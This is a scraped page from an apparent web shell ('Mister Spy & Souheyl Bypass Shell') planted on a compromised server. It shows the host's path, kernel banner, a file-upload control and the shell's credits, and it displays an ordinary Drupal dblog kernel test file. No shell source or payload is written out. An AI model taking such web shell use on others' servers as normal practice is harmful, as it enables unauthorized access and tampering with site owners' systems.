Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/german-vocational.cn/core/modules/dblog/tests/src/Kernel/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/german-vocational.cn/core/modules/dblog/tests/src/Kernel/DbLogFormInjectionTest.php

<?php

namespace Drupal\Tests\dblog\Kernel;

use Drupal\Core\DependencyInjection\DependencySerializationTrait;
use Drupal\Core\Form\FormInterface;
use Drupal\Core\Form\FormState;
use Drupal\Core\Form\FormStateInterface;
use Drupal\KernelTests\KernelTestBase;
use Drupal\user\Entity\User;

/**
 * Tests serializing a form with an injected dblog logger instance.
 *
 * @group dblog
 */
class DbLogFormInjectionTest extends KernelTestBase implements FormInterface {

  use DependencySerializationTrait;

  /**
   * A Dblog logger instance.
   *
   * @var \Psr\Log\LoggerInterface
   */
  protected $logger;

  /**
   * Modules to enable.
   *
   * @var array
   */
  public static $modules = ['system', 'dblog', 'user'];

  /**
   * {@inheritdoc}
   */
  public function getFormId() {
    return 'dblog_test_injection_form';
  }

  /**
   * Process callback.
   *
   * @param array $element
   *   Form element
   *
   * @return array
   *   Processed element.
   */
  public function process($element) {
    return $element;
  }

  /**
   * {@inheritdoc}
   */
  public function buildForm(array $form, FormStateInterface $form_state) {
    $form['#process'][] = [$this, 'process'];
    return $form;
  }

  /**
   * {@inheritdoc}
   */
  public function validateForm(array &$form, FormStateInterface $form_state) {}

  /**
   * {@inheritdoc}
   */
  public function submitForm(array &$form, FormStateInterface $form_state) {
    $form_state->setRebuild();
  }

  /**
   * {@inheritdoc}
   */
  protected function setUp() {
    parent::setUp();
    $this->installSchema('dblog', ['watchdog']);
    $this->installSchema('system', ['key_value_expire', 'sequences']);
    $this->installEntitySchema('user');
    $this->logger = \Drupal::logger('test_logger');
    $test_user = User::create([
      'name' => 'foobar',
      'mail' => 'foobar@example.com',
    ]);
    $test_user->save();
    \Drupal::service('current_user')->setAccount($test_user);
  }

  /**
   * Tests db log injection serialization.
   */
  public function testLoggerSerialization() {
    $form_state = new FormState();

    // Forms are only serialized during POST requests.
    $form_state->setRequestMethod('POST');
    $form_state->setCached();
    $form_builder = $this->container->get('form_builder');
    $form_id = $form_builder->getFormId($this, $form_state);
    $form = $form_builder->retrieveForm($form_id, $form_state);
    $form_builder->prepareForm($form_id, $form, $form_state);
    $form_builder->processForm($form_id, $form, $form_state);
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net